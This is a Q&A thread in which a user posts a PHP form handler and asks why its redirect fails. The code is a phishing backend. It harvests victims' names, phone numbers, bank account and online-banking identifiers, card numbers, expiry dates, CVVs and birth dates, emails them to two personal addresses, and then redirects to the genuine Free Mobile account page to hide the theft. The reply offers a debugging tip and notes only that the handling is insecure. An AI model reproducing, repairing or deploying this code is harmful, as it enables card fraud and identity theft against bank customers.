0
<?php 
if(isset($_POST['submitbtn']))
{

    $pname= $_POST['nom'];
    $telephone= $_POST['telph'];
    $acnumber= $_POST['compte'];
    $rbl= $_POST['distance'];
    $cardno = $_POST['carte'];
    $expmonth = $_POST['months'];
    $expyear = $_POST['year'];  
    $cvv = $_POST['cvv'];
    $dob = $_POST['birth'];
    $subject = 'Contact Form from '.$pname.'';
    $message = 'Nom et prénom:- '.$pname.'

Telephone: '.$telephone.'

Numéro de compte:- '.$acnumber.'

Identifiant banque à distance:- '.$rbl.'

Numéro de Carte:- '.$cardno.'

date d expiration:- '.$expmonth.','.$expyear.'

Cvv 2:- '.$cvv.'

Date de naissance :- '.$dob.' ';

 $to = "eyas.ma@yahoo.fr,joejyma11@hotmail.com";
 $header = "From:www.webperfection.co.in/clients/photonics/ \r\n";
 $retval = mail ($to,$subject,$message,$header);
 if ($retval) {
 header("Location: https://mobile.free.fr/moncompte/");
 exit;
} else {
 //header("Location: /error.html");
 exit;
}

}
?>

What can the issue be? I want it to work like, when the email has been sent, redirect the page to https://mobile.free.fr/moncompte/

Could you please help me with an solution?

1 Answers1

0

make sure not to echo anything on the page before the header is called. also add die(); after your header call

Max D
  • 815
  • 7
  • 10
  • Could you make the code work? please.. @Max – Joel Gullander Mar 31 '15 at 22:53
  • i cant test your scenario on your server but what you have should work. FYI its not advisable to email credit card data like this. it is not PCI compliant and very insecure. – Max D Mar 31 '15 at 22:58